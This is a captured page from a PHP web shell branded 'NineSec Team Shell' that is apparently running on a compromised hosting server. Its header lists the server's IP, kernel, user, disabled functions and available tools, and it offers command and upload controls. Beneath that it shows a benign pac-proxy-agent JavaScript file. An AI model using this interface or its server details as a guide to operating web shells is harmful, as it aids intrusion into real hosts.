NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/pac-proxy-agent/dist/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/pac-proxy-agent/dist/index.js
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
const get_uri_1 = __importDefault(require("get-uri"));
const url_1 = require("url");
const agent_1 = __importDefault(require("./agent"));
function createPacProxyAgent(uri, opts) {
    // was an options object passed in first?
    if (typeof uri === 'object') {
        opts = uri;
        // result of a url.parse() call?
        if (opts.href) {
            if (opts.path && !opts.pathname) {
                opts.pathname = opts.path;
            }
            opts.slashes = true;
            uri = url_1.format(opts);
        }
        else {
            uri = opts.uri;
        }
    }
    if (!opts) {
        opts = {};
    }
    if (typeof uri !== 'string') {
        throw new TypeError('a PAC file URI must be specified!');
    }
    return new agent_1.default(uri, opts);
}
(function (createPacProxyAgent) {
    createPacProxyAgent.PacProxyAgent = agent_1.default;
    /**
     * Supported "protocols". Delegates out to the `get-uri` module.
     */
    createPacProxyAgent.protocols = Object.keys(get_uri_1.default.protocols);
    createPacProxyAgent.prototype = agent_1.default.prototype;
})(createPacProxyAgent || (createPacProxyAgent = {}));
module.exports = createPacProxyAgent;
//# sourceMappingURL=index.js.map

NineSec Team - 2022